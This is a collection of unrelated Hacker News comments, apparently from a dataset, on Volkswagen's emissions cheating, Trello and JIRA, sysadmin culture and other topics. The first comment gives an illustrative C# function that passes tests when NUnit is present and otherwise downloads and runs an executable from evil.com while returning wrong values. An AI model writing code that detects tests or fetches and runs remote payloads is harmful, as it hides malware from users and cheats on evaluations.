skysight-inc/HackerNews huggingface dataset:
Passing tests is not sufficient to determine that they should not be charged with criminal behavior. For example, if you hired someone to write some code, and required that passed an NUnit test suite you provided, and they delivered:

public double ComputeAverage(List<double> values)
// If being tested, return the correct result
if (AppDomain.CurrentDomain.GetAssemblies().Any((assembly)=>assembly.FullName.StartsWith("NUnit.Framework")))
{
return values.average();
}
// If not running in test suite, download malware and return wrong values
else
{
Net.DownloadFile("http://www.evil.com/file", "malware.exe");
Process.Start("malware.exe");
return 42;
}
}

...would you feel satisfied with their work? No. You would be annoyed at them for violating the clear intent of the requirement, but let's imagine for a minute that you somehow couldn't convince a court that they failed to deliver, and evaded the contract.

What happened here was that the attorney general asked "Hey, we see that you passed the test, but when we run it in other contexts, we see bad things happening - wrong results returned, and malware being downloaded. Did you make it do the wrong thing, and download malware?"

And Oliver Schmidt, representing Volkswagen, answered "No."

That's where the crime being discussed here occurred. The evasion of the of the law, rather than operating in good faith to have the product perform the same in the test as in normal operation, resulted in the fines that have been levied to the company. But lying to regulators is why Schmidt is being criminally charged.
GitHub neither offers free private repos nor Mercurial support. For me and many others, Mercurial support is a big thing.

Bitbucket may still be less popular but I don't see it being shunned. That's what made me wonder. I wouldn't mind if you said that it was not given enough attention or even that it was being ignored (Although I'd still disagree). Maybe bad choice of words?
Actually, the honeypot system is slightly smarter than that. Some of the honeypots are actually based up a SIPP UAS scenario, which will accept any traffic and will play back an audio file of 5 minutes. Those servers normally yield slightly different results, that normally look like a scan, then followed by a media test then followed by something that looks almost manual - and after the manual test, they go away, after realizing they hit a honey pot.
Firefox mobile unaffected.
The simplest explanation I've heard of attachment theory is kids should be attached to parents securely enough that they are comfortable transferring that attachment to friends and relationships later. Too far in one direction and the child never leaves the parents side or the parent never lets the child grow up. Too far in the other direction and the child never learns healthy bonding and trust.
Trello, however, is designed for integrations. There are a ton of 3rd party integrations into Trello (some using the API, some Trello blessed that show up in the add ons list).

I suspect Atlassian could easily create some Jira/Botbucket addons that would make Jira a very useful choice for some Trello users for a more structured backend.
Bingo... that's the whole idea here. Small teams within larger companies and small companies can use Trello. When they grow up (or need to interact with the rest of the company) they use JIRA. In fact I would expect JIRA integrations that make it trivial to convert a Trello card to a JIRA task, probably with an option to automatically convert a checklist into subtasks.

This acquisition makes total sense; Trello and JIRA target mostly non-overlapping market segments and there are some easy low-hanging integration fruits to be picked. I'll also bet Trello becomes a deal-sweetener going forward. License JIRA and for +15% you also get Trello for your whole company.
Uber Extends an Olive Branch to Local Governments: Its Data
I can't figure out what Gomix is...
Amazing work. If you take a look at latex please consider also XeTeX for its beautiful font support. It can give a lot of satisfaction when packaging good content. Microtype is also nice if one sticks to pdflatex.
> I half believe the reason developers are embracing cloud architecture so much is to remove so many sysadmins out of the equation.

It was literally true at one of my previous jobs. We couldn't install anything on our own dev machines without approval from Net Ops, not even Notepad++ (I don't think I ever got that installed, never got approval).

We once asked for a new server which mirrored the software of an existing server with two months lead time and got complaints that two months is not enough time to get a new server. I think we ended up getting it in three months, after the new project was supposed to be deployed to it.

Meanwhile we were starting to get into Azure, and we had a new server in Azure up and spinning with everything we needed installed on it in about 15 minutes.

The Lead Developer said, "We need to get as much stuff on the cloud as we can so we can stop dealing with this mess." We dealt with a lot of PHI there, though, so there was only so much we could do.
Parent post said:

> One might suspect that all our beneficial habits would break down if there weren't an almighty parental figure lying in wait to punish us

I interpreted this in the vein of a libertarian "we don't need a nanny state". And so I assumed that the person was thinking of the USA as a "permissive society in harmony" and of something like North Korea as an "less permissive society in disarray", as opposed to Sweden as a "less permissive society in harmony".

And so I wanted to challenge the notion that the USA is "permissive".
That's both hilarious and truly stupid.

You don't solve the problem by eliminating sources, you solve the problem by adding sources.
> Your statement would be true if test performance varied from real-world performance due to environmental factors, but that's not the case.

..or due to engine temperature, speed, gear, gas pedal position and tons of other variables WHICH IS the case. That's why emission requirements are (and must be) test-specific.
The Cloudflare perspective.
tl;dr: Growth of mobile, growth of IPv6, growth of DDOS and other attacks but also security awareness.
Tractor pulling and software engineering. (2012)
Well yes, I am obeying the law of gravity :D Is your point, that AI could replace human will?
Thanks. If you love ascii art, make sure to have a look at https://casual-effects.com/markdeep/
The road to JIRA is paved with other project management software.
I think what most people have heard of is the Sacred Band of Thebes.
https://en.wikipedia.org/wiki/Sacred_Band_of_Thebes

However, I recall that there are several ancient Greek texts that reveal that "regimental love" was a known phenomenon throughout Greece.
I get the sentiment. Personally, I could say the same thing about control theory, systems theory, economics, operations research, and statistics. And I could also share dozens of anecdotes of bugs and suboptimal software that was produced as a result of this lack of experience.

But at some point, you have to acknowledge that developers can't know everything. Go deep or go broad, but accept that both paths have their limitations and benefits. Maybe in some cases you'll run into a bug you created due to your lack of sysadmin experience, but don't feel bad about it...your experience has led you to other types of expertise. Fix it, learn from it, and move on.
"i'm a very heavy smoker so i'm a reasonably good gauge for addictive potential"

Every human's body chemistry is different, so no, you are not a good gauge. To boot, I consume WAY MORE than you - I go through about 5-6 grams of concentrate a day. Get your leg replaced with titanium and plastic composites and see if your consumption doesn't jump up to really high levels due to chronic post-operative pain.

"every 6 months, i take a tolerance break by visiting family in another country."

Tolerance breaks simply aren't on the menu for me.

"i think the point i'm making is: whatever "withdrawal" you're experiencing is entirely in your own head"

Except I go to a doctor and they can physically measure everything, right down to my blood pressure, when I'm in withdrawal, and then watch everything change after I take a hit, so no, it's REAL.

Again, licensed MEDICAL patient. State card-carrying. I go to real doctors while you rely upon your own anecdotes.
Understanding Flexbox: Everything You Need to Know
That's what exceptions are for. They are a tool that _can_ be used to cut down on noise in code. Being clear and explicit about everything will leave your code looking like an implementation of the STL. The art of programming is partly about achieving a good signal-to-noise ratio.
I have some perspective as someone who has done a bit of all of these jobs over the last 10 years as well as working in a hosting company that handled release management for large Fortune 500s.

> So why is that an acceptable mentality for "in-house" developed software but if you buy something proprietary from a third party where you have zero say over what lib/langs are used, it's A-OK?

Proprietary software generally has a support agreement and SLA for fixing things instead of getting the response "it works in dev!"

> That's not the case when using containers properly. Every service gets it's own environment so whatever version of lib-xyz is needed, even if incompatible with other parts of the project, are walled off for only the service that needs it.

That's why containers are great, but you have to remember most of the world isn't as fast as this community to adopt things, a lot of things are still being managed the hard way on shared servers with literally thousands of dependencies. Migrating to containers in these instances can't happen fast enough.

> There are solutions to the issues you raise (often trivial ones at that), they just require an adjustment to workflow and an increase in communication between developers and their sysadmins.

Implementing even trivial changes to processes that impact hundreds of people across multiple continents is often not trivial. Devs in India, devs in the US, hosting teams, release management, etc. A lot of those people are doing just enough to get by and not up-to-date tech wise, so not only are you implementing new tools and processes, but you're building out training programs around using them, etc.

These processes are old and will be modernized in time but that's the reality for a lot of "sysadmins."
The first part of the book has a really good description of the "modern" work environment and its defects, and how it valorizes superficial work over deep work. I was actually surprised by how identical this description was to my last work environment.

- Open space to promote communication and knowledge sharing (and controlling what people are doing), but at the end you are interrupted every 5 minutes by people walking and talking/screaming/laughing about anything but work.

- People expect you to have Gmail and Slack open all day and to reply in the 5 minutes.

- You are encouraged to go on Facebook/Twitter/Youtube/whatever to like and share the latest news/video/open position/whatever posted by the company. Then you start reading/watching something else that looks interesting and you lose easily 30 min / 1 hour.

- At the end, what matter is how many hours you spend in the office. Nobody cares if you spend a full week on a task because you can't never focus on what you do.
whoa wait, how did we get from ignoring the author's intent was ignoring all context to that means you are also ignoring the author's culture and ignoring the author's culture means ignoring their language to so the only way you can analyze a text without taking an author's intent into it is by handing it off to an alien with text mining tech?

I'm just saying the main context I'm seeing here is goalpost moving.
It's cooler--I guess? I remember a change in the vernacular after that movie about Facebook came out.

I'm glad, "Wired in" didn't take roots.

I still cringe when some guy who has 0 customers, but is throwing around, "When we decide to monetize?". Let's just go back to "Make some money?"

And the constant new acronyms. I'm even using acronyms because no one seems to care anymore?
You need to find some way to connect with people and get feedback.

I wish I knew a better word than feedback because I do not mean that people are necessarily going to engage you in good conversation and say "X is good and Y is bad." That almost never happens, and when it does, the feedback can be terrible and counterproductive.

But you need to find some way to get it out there in the wild such that you see how people respond and what they do with it, what gets used and what doesn't. If it isn't resulting in a lynch mob reaction, you need to not view the negative responses in a bad light. You want critique, and that means hearing both what works and what doesn't. You do not want nothing but fan boys, massaging your ego, saying nice things and not mentioning problems at all.

So, I don't know what path will work for you in specific. But you need to get some kind of engagement that puts useful information in your hands to inform the development. How people get that varies. But your fear of shipping is because it involves tossing it out there into a giant unknown void with zero idea of how that will go. The antidote to that is getting some engagement so you aren't just flying blind.

How people do that is very individual.
Biggest shipment of American tanks since the Cold War lands in Germany
But are collectives allowed to exclude people? If not, how will they select appropriate workers? If you can just show up at a collective and say "I want to work here, and you can't exclude me or kick me out" then how will they be able to function? People will just leave collectives with poor returns and make collectives with good returns take them on.
Regardless of the voracity of your definition, 'Campaign Hack' would have been a much clearer, less ambiguous, and more precise term, especially given that this is an ongoing story with which most readers are already familiar.

In a perfect world, the headline would be intended to provide unambiguous information. In that, it demonstrably fails as evidenced by this thread. In the real world, it must convey information, but also hook eyeballs. So while the term 'election hacking' may not be explicitly wrong, and while I do not fault the Times for going with it, it is at best ambiguous and quite probably meant to grab attention more than convey information.
Thanks so much for the mention, we're glad you like it! For anyone looking for more info about Zenkit & where we're headed, see here: https://news.ycombinator.com/item?id=13022663
...like Alan Greenspan?
actually, people don't really know the following: The PA is identified by both the 972 (Israel) country code and the 970 (PA) country code.

When calling Israel on 97259, or 97222, or 97242, or 972502, or 972522 or 972542 - in some specific number ranges, you actually reach the PA. This is why many Israeli and worldwide PBX owners have routing mistakes on them, and you can basically get a minute of PA traffic, that normally costs around $0.19 for - wait for it - $0.008.

The main issue is that when the ITU assigned 970 to the PA, they never made them drop the 972 prefix - resulting in the world's longest arbitrage wholesale game.
So that's all well and good as far as it goes. But e.g. I currently rely on integration between Trello and Discord, which is in competition with HipChat - is there a risk of them killing that off?
Not everyone wants to maintain their own private server, but if you do have one, give wekan a try. I found it to be a good open-source replacement.

https://wekan.io/
It isn't the most likely culprit. The mosh people point out that the place where people hit this is with a SSH session to another machine. Where the data are actually building up is the SSH connection. It's not a problem with the terminal emulators at all.
Laws are not software programs. Intent is a part of them, and it was clear the intent was for the testing to be representative of actual usage. It was not because the cars detected a test and changed behavior. That's a clear attempt to circumvent the regulation.
> Should sysadmins have software development experience (e.g. DevOps)?

May be. Not only you understand better the needs of software developers. But also, you are able to automate a large chunk of your work. Paraphrasing Larry Wall: Sysadmins should be Lazy. "Laziness: The quality that makes you go to great effort to reduce overall energy expenditure. ..."
He's 100% correct, as is the GitHub issue. Transactions that were z-addr -> t-addr, or vice versa, were being mined, but private transactions (my z-addr pays your z-addr) were not.

Per the ZCash website (https://z.cash/blog/state-of-the-network-2016-10-31.html) -

"There is one known bug, which causes private transactions (those in which all of the inputs and outputs are shielded addresses) to not get mined."
If you look at World War II you'd maybe see the point that was trying to be made.
In my (admittedly very poor) testing, Nim can get to within 5% or so of C speeds for simple benchmarks-it compiles to pretty decently optimized C, and then can use LLVM/Clang as a backend to take advantage of all the amazing optimization work being done there, so in the end you have code that is very similarly performant to C.
> Well welcome to nearly all political theory. There is a reason we are still stuck with some fairly well known different systems for all these years.

There are plenty of anti-utopian and materialist political theories. The real reason why we've seen only a few different systems is that they are the ones that most effectively wield power and violence to maintain their class relations. That's the position of Marxists. Most strains of anarchism are also anti-utopian.

I think it is naive to say that the reason we haven't progressed is because we don't have the right set of ideas. Idealism itself is an obstacle. Understanding the material forces that create and propagate our world is essential. Most mainstream political ideologies pretend the world is driven by ideas when it's the other way around.
No offense intended, but your university probably isn't competing for top engineers. Grad students and postdocs aren't professionals yet either.

The sysadmin role has traditionally been a focus in that environment (e.g. controlling access to cluster resources).
Yeah I meant the OEM situation. If google cared for Android user's security there would've been a certificate a long time ago. Where Apple might be overprotective (certs for charging cables), Google is absolutely negligent.
My experience with Jira is that it depends very much on the managers and executive team who set it up and create the precedents on how to use it.

Jira is so customizable and has so many features that it can be made into a sort of bureaucratic prison that's actively counter-productive for everyone except higher-level managers who just use it to generate countless reports. In the worst case, Jira can be used to institutionalize mistrust in employees/developers.

On the other hand, a minimal setup with kanban boards can feel a lot like Trello integrated into a bug database, which can work and scale quite well.

I will say that even a minimal installation of Jira can be overly complex for small teams of 2-5. This is where Trello can really shine.
> Why would they JIRA-ify it? They would lose their audience who sought a JIRA alternative in the first place.

And yet, Hipchat is a bloated, unreliable mess.
Okay, then I agree with that. And I would add that its non-permissiveness is a big contributor to its disharmonies.
Well now we're having a semantic debate. Birth control = prevents birth only. Condoms = prevent birth and STIs.
> They will JIRA-fy it or kill it.

Atlassian is not Oracle. I had fears for BitBucket when they bought it, but they seem to have left it alone for the most part.

Sourcetree, on the other hand, got fucked up. How much of that was a strategic decision and how much just plain incompetence (either by Atlassian or the original team), I don't really know.
Your link goes to a 404.
If it is as you say, then why upgrade ever? How would we even discover bugs in software until it is used?

To have progress we need to change things. When we change things, we may break things, regardless of tests.

To quote deijkstra: "testing can be a very effective way of showing the presence of bugs, but it is hopelessly inadequate to show their absence". From 'the humble programmer'.

Production is the only way to eventually discover the stability of any software, even with 100% test coverage. It's a necessary evil in the support of progress.
So you think he's not alive and that the press conference of today was a fake?

Shouldn't we wait for the explaination he may come up with tomorrow on reddit? I just don't know on which channel this AMA will happen.
"for now."
There are actually generally rules for which employees have responsibility over the vaults in banks. The employees aren't equally responsible. Roles and responsibility are defined strictly. Generally, the lowly tellers aren't allowed the same access to the money as the general manager, and they aren't held responsible to the same degree if money in the vault goes missing.
Thanks for the mention!
No he doesn't. Go read what he wrote again. Private transactions (one z-addr sends to another z-addr) were not being mined.
Which one?

Also, why the limitation?
Why do that if you could just use hg?
I use it to realign myself. If I'm having a bad day concentrating, I'll fall back on using podomoro.
I see ads in my gmail. How exactly does that force you to see ads on your mobile bandwidth?
Some Wi-Fi hardware does allow access to signal before demodulation, for debugging purposes or channel monitoring (e.g. [1]). But this is usually limited in some way (e.g. you can only get a limited number of samples or FFT bins).

The authors also talk about correlating such samples with GPS time with sub-microsecond precision. This is most likely impossible. GPS receiver is separate from the Wi-Fi interface and I doubt they share any kind of low-level synchronization in a smartphone.

[1] https://wireless.wiki.kernel.org/en/users/drivers/ath9k/spec...
This is the responsibility of someone above to know whether or not the orders they give should be given.

Yes, and part of that is the people in their team(s) helping them and understanding that they're fallible and may fail to ask a pertinent question. Equally, the manager needs to be open to updates volunteered by their team without a prompt. Ultimately everyone does better if the entire group works together.
Random Posts – A collaborative story told over the Postal Service
Why Founders Need SAFE: A Simple Agreement for Future Equity
In my experience, having a PoP in Taiwan, means that some data requests from S. Korea, Philippines, and Australia are routed to that.

I never know how that works, since Singapore and Tokyo, Japan should be closer---but it still happens.
Hiv cost over a lifetime is only 340k and 1:300 in the US has HIV, so the subscription would only have to cover a little over a 1k in lifetime risk; actually less, since HIV is overrepresented in the homeless and poor segments.
Network routing is an example. Just because Einstein's original thought experiment involved a train doesn't make special relativity railroad engineering.
Yeah, even Reagan (Grenada & Panama) and the Bushes (Panama & Iraq) pretty much installed democracies.

The world is slightly different after Kissinger left office (Argentina)... realpolitik is really more of a Euro-Russian thing than a US thing. Although that could change again with the new president.